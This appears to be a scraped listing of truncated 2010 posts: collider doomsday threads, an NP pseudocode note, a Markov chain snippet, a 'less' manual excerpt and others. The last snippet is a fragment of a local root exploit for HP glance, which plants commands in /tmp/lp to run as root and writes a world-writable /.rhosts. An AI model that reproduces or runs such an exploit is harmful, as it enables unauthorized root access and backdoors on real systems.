Scientists Warn Large Earth Collider May Destroy Earth On Mar 27, 9:30 pm, Prophet Steering wrote: Idiots, we all will be killed in a couple of days. Scientists Warn Large Earth Collider May Destroy Earth http://www.theonion.com/articles/scientists-warn-large-earth-collider-may-destroy-e,2625/ ... 31 Mar 2010 12:06 How did I solve an NP-Complete problem in polynomial-time? begin /* The following for-loop is the guessing stage*/ for i=1 to N do X[i] := choose(i); endfor /* Next is the verification stage */ Write code that does not use "choose" and verifies if X[1:N] is a correct solution to the problem. end Example of an NP problem: The Hamiltoni... 31 Mar 2010 09:50 A=1, B=2, C=3... Z=26 T H I S = 20 + 8 + 9 + 19 = 56 I S = 9 + 19 = 28 A = 1 = 1 C I P H E R = 3 + 9 + 16 + 8 + 5 + 18 = 59 TOTAL = 144 ... 31 Mar 2010 01:08 The Provisional Certainties of Applied Statements of Assumption This problem concerns the expression of N elements with P probability of change as the elemments are copied. 1. Begin with N elements and a probability p of change in each element. 2. The probability each element will not change is 1-p. 3. N x p elements will change in copying elements. 4. N x (1 - p) elements... 2 Apr 2010 12:36 Fog of Code C++|c++|CC:\ :pb=\p\d?\(:cf:np=\)\d?;:bb={:be=}:\ :cb=/*:ce=*/:ab=//:ae=\$:sb=":se=\e":lb=':\ :zb=@:ze=@:tb=%%:te=%%:mb=%\\$:me=\\$%:vb=%\|:ve=\|%:\ :le=\e':tl:id=_~\::\ :kw=asm auto break case cdecl char continue default do double else \ enum extern far float for fortran goto huge if int i... 30 Mar 2010 20:40 Unconditional probability for the states of a Markov Chain import numpy as np import pymc import pdb def unconditionalProbability(Ptrans): """Compute the unconditional probability for the states of a Markov chain.""" m = Ptrans.shape[0] P = np.column_stack((Ptrans, 1. - Ptrans.sum(axis=1))) I = np.eye(m) U = np.ones((m, m)) u = np.ones(m)... 30 Mar 2010 17:14 Tomorrow, the 30-th of March, despite to our protests, CERN plans to perform the first collisions of protons with the energy 3.5 TeV per proton (7 TeV per collision). On Tuesday 30 March 2010 05:20, Barb Knox wrote: In article , Magnetic wrote: Tomorrow, despite to our protests, CERN plans to perform the first collisions of protons with the energy 3.5 TeV per proton (7 TeV p... 30 Mar 2010 17:14 Suggest a good book on cuncurrent programming. Dear All, Please suggest a good book that teaches in great details about the theories behind the followings. 1. shared memory concurrent systems. 2. message passing concurrent systems. 3. mutual exclusion. 4. synchronization. 5. safety property. 6. liveness property. 7. fairness property. 8. systems with ... 30 Mar 2010 02:52 SYNTAX less [options] | less [options] Moving Commands: Commands marked with * may be preceded by a number, N. Notes in parentheses indicate the behavior if N is given. e ^E j ^N CR * Forward one line (or N lines). y ^Y k ^K ^P * Backward one line (or N lines). f ^F... 29 Mar 2010 12:28 Popular Ex--exploit 1: glance-lp --exploit 1: glance-lp #!/bin/ksh # the other .traz GLANCE=/usr/perf/bin/glance # Put any commands you want into /tmp/lp, and they'll be run as root, basically cat > /tmp/lp <> /.rhosts chmod 666 /.rhosts EOF echo "Please wait about 10 or 15 seconds for your commands to run" chmod 777 /tmp/lp PATH=/t... 29 Mar 2010 12:28